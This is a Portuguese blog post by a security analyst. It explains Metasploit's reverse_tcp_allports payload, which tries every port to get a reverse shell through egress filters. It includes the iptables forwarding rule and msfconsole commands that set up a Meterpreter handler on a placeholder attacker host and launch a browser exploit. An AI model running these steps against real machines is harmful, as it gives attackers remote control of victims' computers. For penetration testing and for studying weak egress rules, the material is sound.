Recentemente o blog do Metasploit divulgou uma nova funcionalidade do famoso framework, entendendo que vários administradores possuem restrições quanto ao acesso a serviços/portas na Internet, e é cansativo o acesso manual de porta a porta para o tal ataque, agora os pentesters de plantão ficarão um pouco mais aliviado! 

O novo payload reverse_tcp_allports tenta fazer a conexão reversa através de uma porta pré-determinada pelo responsável pelo ataque, caso esta porta esteje negada o acesso, o payload tenta porta a porta de 1 a 65535 e se caso disponível irá se conectar a porta, também definida pelo atacante, no servidor responsável que receberá a conexão reversa (connect-back).

O único incomodo é que em plataformas Windows, por utilizar do método connect() (por ser mais “ágil”), aguarda-se um timeout do servidor caso a porta esteja fechada para se determinar o status, sendo as vezes demorando até um minuto (poucos casos, segundo o blog) mas mesmo assim com certeza é algo que será utilizado muito (antes uma hora o computador trabalhando pra você, do que você trabalhando pra ele).

A ativação começa da seguinte forma, você primeiramente precisa de um IP disponível e uma regra de FW, no caso, queremos que todas as conexões recebidas em qualquer porta vá para a porta 4444, sendo assim em IPTABLES temos:

# iptables -I INPUT -p tcp -m state –state NEW -d A.B.C.D -j DNAT –to A.B.C.D:4444

Agora configuramos o payload:

msf> use exploit/multi/handler
msf (exploit/handler) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/handler) > set LHOST A.B.C.D
msf (exploit/handler) > set LPORT 4444
msf (exploit/handler) > exploit -j

Depois, disso desabilitamos o “PayloadHandler” para que o código não seja executado:

msf (exploit/browser0day) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/browser0day) > set LHOST A.B.C.D
msf (exploit/browser0day) > set LPORT 1
msf (exploit/browser0day) > set DisablePayloadHandler true
msf (exploit/browser0day) > exploit

Sendo assim, o payload tentará se conectar as portas caso haja sucesso na conexão, ele será repassado a porta 4444 que ativará o código e assim dará o acesso a máquina alvo.

Isso porque SEMPRE há uma porta, quando os administradores fazem manutenções ou qualquer outro tipo de teste é comum que a regra aplicada não seja mudada, isto por preguiça/incompetência/mal-gerenciamento é indiscutível o nível problemático, já vi vários ambientes tecnológicos de pequeno porte até médio-grande porte e em todos se encaixam no problema, sem exceções.

Vejo esta questão como um problema maior, mais do que um poupador de tempo para o atacante, a confiança numa configuração falha já é tão comum, observo isso a tempos e uso em meus projetos que a partir do momento que começarmos explorar/automatizar isso de uma melhor forma, a necessidade de 0days para um ataque remoto será bem menor do que hoje é.

—

Bruno Gonçalves de Oliveira

Intrusion Analyst – iBLISS